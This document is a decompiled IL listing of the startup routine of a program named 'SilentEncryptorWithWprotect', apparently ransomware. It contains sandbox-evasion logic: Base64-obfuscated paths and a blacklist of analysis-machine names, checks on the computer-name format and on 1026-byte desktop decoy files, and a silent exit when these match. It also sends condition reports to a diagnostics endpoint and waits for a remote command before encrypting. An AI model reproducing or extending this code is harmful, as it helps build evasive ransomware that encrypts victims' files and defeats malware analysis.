call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.String System.Diagnostics.Process::get_ProcessName()
stloc.0 <null>
ldstr Local\SilentEncryptor_
call System.String System.Environment::get_MachineName()
ldstr _
ldloc.0 <null>
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.1 <null>
ldc.i4.1 <null>
ldloc.1 <null>
ldloca.s V_2
newobj System.Void System.Threading.Mutex::.ctor(System.Boolean,System.String,System.Boolean&)
stloc.3 <null>
ldloc.2 <null>
brtrue.s IL_0033: call System.String[] System.Environment::GetCommandLineArgs()
leave IL_0458: ret
call System.String[] System.Environment::GetCommandLineArgs()
ldc.i4.0 <null>
ldelem.ref <null>
call System.String System.IO.Path::GetDirectoryName(System.String)
ldstr app_debug.log
call System.String System.IO.Path::Combine(System.String,System.String)
stsfld System.String SilentEncryptorWithWprotect.Program::_appDebugLogPath
ldstr === APPLICATION START ===
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr Version: 1.49
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr Command line:
call System.String System.Environment::get_CommandLine()
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
call System.String System.Environment::get_MachineName()
dup <null>
brtrue.s IL_0084: stloc.s V_4
pop <null>
ldstr DefaultSalt
stloc.s V_4
ldloc.s V_4
stloc.s V_5
br.s IL_0097: call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.s V_5
ldloc.s V_4
call System.String System.String::Concat(System.String,System.String)
stloc.s V_5
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.s V_5
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
ldlen <null>
conv.i4 <null>
ldc.i4.8 <null>
blt.s IL_008C: ldloc.s V_5
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.s V_5
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
stsfld System.Byte[] SilentEncryptorWithWprotect.Program::_salt
ldstr Salt derived from computer name '{0}', final salt length = {1} bytes
ldloc.s V_4
ldsfld System.Byte[] SilentEncryptorWithWprotect.Program::_salt
ldlen <null>
conv.i4 <null>
box System.Int32
call System.String System.String::Format(System.String,System.Object,System.Object)
call System.Void SilentEncryptorWithWprotect.Program::LogToFile(System.String)
nop <null>
newobj System.Void SilentEncryptorWithWprotect.Program/<>c__DisplayClass115_0::.ctor()
stloc.s V_8
ldloc.s V_8
call System.String System.Environment::get_MachineName()
stfld System.String SilentEncryptorWithWprotect.Program/<>c__DisplayClass115_0::computerName
ldstr Computer name:
ldloc.s V_8
ldfld System.String SilentEncryptorWithWprotect.Program/<>c__DisplayClass115_0::computerName
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr QzpcVXNlcnNcUHVibGljXERlc2t0b3BcRmlyZWZveC5sbms=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.s V_9
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr QzpcVXNlcnNcUHVibGljXERlc2t0b3BcVkxDIG1lZGlhIHBsYXllci5sbms=
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.s V_10
ldstr ^[A-Z]{8}$
stloc.s V_11
ldstr Firefox path:
ldloc.s V_9
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr VLC path:
ldloc.s V_10
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr Regex pattern:
ldloc.s V_11
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldloc.s V_9
call System.Boolean SilentEncryptorWithWprotect.Program::LongPathFileExists(System.String)
stloc.s V_12
ldloc.s V_10
call System.Boolean SilentEncryptorWithWprotect.Program::LongPathFileExists(System.String)
stloc.s V_13
ldloc.s V_8
ldfld System.String SilentEncryptorWithWprotect.Program/<>c__DisplayClass115_0::computerName
ldloc.s V_11
call System.Boolean System.Text.RegularExpressions.Regex::IsMatch(System.String,System.String)
stloc.s V_14
ldstr R0lOLUw1UjZVUTFFOEosREVTS1RPUC0xMjM0NTY3OCxXQUxLRVItUEMsV0FMS0VSLVRFU1RQQw==
stloc.s V_15
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.s V_15
call System.Byte[] System.Convert::FromBase64String(System.String)
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
call System.Collections.Generic.List`1<System.String> System.Linq.Enumerable::ToList<System.String>(System.Collections.Generic.IEnumerable`1<System.String>)
ldloc.s V_8
ldftn System.Boolean SilentEncryptorWithWprotect.Program/<>c__DisplayClass115_0::<Main>b__0(System.String)
newobj System.Void System.Func`2<System.String,System.Boolean>::.ctor(System.Object,System.IntPtr)
call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`2<System.String,System.Boolean>)
stloc.s V_16
ldstr Firefox exists: {0}
ldloc.s V_12
box System.Boolean
call System.String System.String::Format(System.String,System.Object)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr VLC exists: {0}
ldloc.s V_13
box System.Boolean
call System.String System.String::Format(System.String,System.Object)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr Name is 8 uppercase: {0}
ldloc.s V_14
box System.Boolean
call System.String System.String::Format(System.String,System.Object)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr Computer blacklisted: {0}
ldloc.s V_16
box System.Boolean
call System.String System.String::Format(System.String,System.Object)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldloc.s V_12
ldloc.s V_13
ldloc.s V_14
call System.Threading.Tasks.Task SilentEncryptorWithWprotect.Program::SendConditionsToDiags(System.Boolean,System.Boolean,System.Boolean)
pop <null>
ldc.i4.0 <null>
stloc.s V_17
ldc.i4.0 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
stloc.s V_18
ldloc.s V_18
call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_02B9: ldstr "Desktop folder not found, cannot count 1026-byte files."
ldloc.s V_18
call System.String[] System.IO.Directory::GetFiles(System.String)
stloc.s V_19
ldc.i4.0 <null>
stloc.s V_20
br.s IL_0299: ldloc.s V_20
ldloc.s V_19
ldloc.s V_20
ldelem.ref <null>
stloc.s V_21
ldloc.s V_21
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.Int64 System.IO.FileInfo::get_Length()
ldc.i4 1026
conv.i8 <null>
bne.un.s IL_0270: leave.s IL_0293
ldloc.s V_17
ldc.i4.1 <null>
add <null>
stloc.s V_17
leave.s IL_0293: ldloc.s V_20
stloc.s V_22
ldstr Error checking file size for
ldloc.s V_21
ldstr :
ldloc.s V_22
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
leave.s IL_0293: ldloc.s V_20
ldloc.s V_20
ldc.i4.1 <null>
add <null>
stloc.s V_20
ldloc.s V_20
ldloc.s V_19
ldlen <null>
conv.i4 <null>
blt.s IL_024F: ldloc.s V_19
ldstr Desktop files with exact 1026 bytes: {0}
ldloc.s V_17
box System.Int32
call System.String System.String::Format(System.String,System.Object)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
br.s IL_02C3: ldloc.s V_12
ldstr Desktop folder not found, cannot count 1026-byte files.
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldloc.s V_12
ldloc.s V_13
and <null>
ldloc.s V_14
and <null>
ldloc.s V_16
or <null>
brtrue.s IL_02D5: ldstr "Exit conditions met – exiting silently."
ldloc.s V_17
ldc.i4.5 <null>
blt.s IL_02EA: ldstr "Exit conditions not met – continuing."
ldstr Exit conditions met – exiting silently.
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_0458: ret
ldstr Exit conditions not met – continuing.
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
leave.s IL_0346: call System.DateTime System.DateTime::get_Now()
stloc.s V_23
call System.AppDomain System.AppDomain::get_CurrentDomain()
callvirt System.String System.AppDomain::get_BaseDirectory()
ldstr exit_error.log
call System.String System.IO.Path::Combine(System.String,System.String)
ldstr Exception:
ldloc.s V_23
callvirt System.String System.Exception::get_Message()
ldstr
ldloc.s V_23
callvirt System.String System.Exception::get_StackTrace()
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
call System.Void System.IO.File::WriteAllText(System.String,System.String)
ldstr Exception in early exit check:
ldloc.s V_23
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
leave.s IL_0346: call System.DateTime System.DateTime::get_Now()
call System.DateTime System.DateTime::get_Now()
stsfld System.DateTime SilentEncryptorWithWprotect.Program::_startTime
call System.String System.Environment::get_MachineName()
dup <null>
brtrue.s IL_035E: stsfld System.String SilentEncryptorWithWprotect.Program::_computerName
pop <null>
ldstr UNKNOWN
stsfld System.String SilentEncryptorWithWprotect.Program::_computerName
call System.String[] System.Environment::GetCommandLineArgs()
ldc.i4.0 <null>
ldelem.ref <null>
call System.String System.IO.Path::GetDirectoryName(System.String)
ldstr encryption_debug.log
call System.String System.IO.Path::Combine(System.String,System.String)
stsfld System.String SilentEncryptorWithWprotect.Program::_logPath
call System.String[] System.Environment::GetCommandLineArgs()
ldc.i4.0 <null>
ldelem.ref <null>
call System.String System.IO.Path::GetDirectoryName(System.String)
ldstr onedrive_debug.log
call System.String System.IO.Path::Combine(System.String,System.String)
stsfld System.String SilentEncryptorWithWprotect.Program::_oneDriveDebugLog
ldstr === SILENT ENCRYPTOR WITH WPROTECT STARTED ===
call System.Void SilentEncryptorWithWprotect.Program::LogToFile(System.String)
ldstr Start time: {0:yyyy-MM-dd HH:mm:ss}
ldsfld System.DateTime SilentEncryptorWithWprotect.Program::_startTime
box System.DateTime
call System.String System.String::Format(System.String,System.Object)
call System.Void SilentEncryptorWithWprotect.Program::LogToFile(System.String)
ldstr Computer:
ldsfld System.String SilentEncryptorWithWprotect.Program::_computerName
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::LogToFile(System.String)
ldstr Running as user:
call System.String System.Environment::get_UserName()
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::LogToFile(System.String)
ldstr Log path:
ldsfld System.String SilentEncryptorWithWprotect.Program::_logPath
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr OneDrive debug log:
ldsfld System.String SilentEncryptorWithWprotect.Program::_oneDriveDebugLog
call System.String System.String::Concat(System.String,System.String)
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldstr Starting WProtect timer...
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
call System.Void SilentEncryptorWithWprotect.Program::StartWProtectTimer()
ldstr WProtect timer started, entering wait loop for encryption command.
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
br.s IL_0431: ldsfld System.Boolean SilentEncryptorWithWprotect.Program::_encryptionStarted
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.Boolean SilentEncryptorWithWprotect.Program::_encryptionStarted
brfalse.s IL_0427: ldc.i4 1000
ldstr Encryption command received! Proceeding to RunEncryption()
call System.Void SilentEncryptorWithWprotect.Program::AppDebug(System.String)
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_0442: ldc.i4 1000
ldloc.3 <null>
brfalse.s IL_0457: endfinally
ldloc.3 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ret <null>
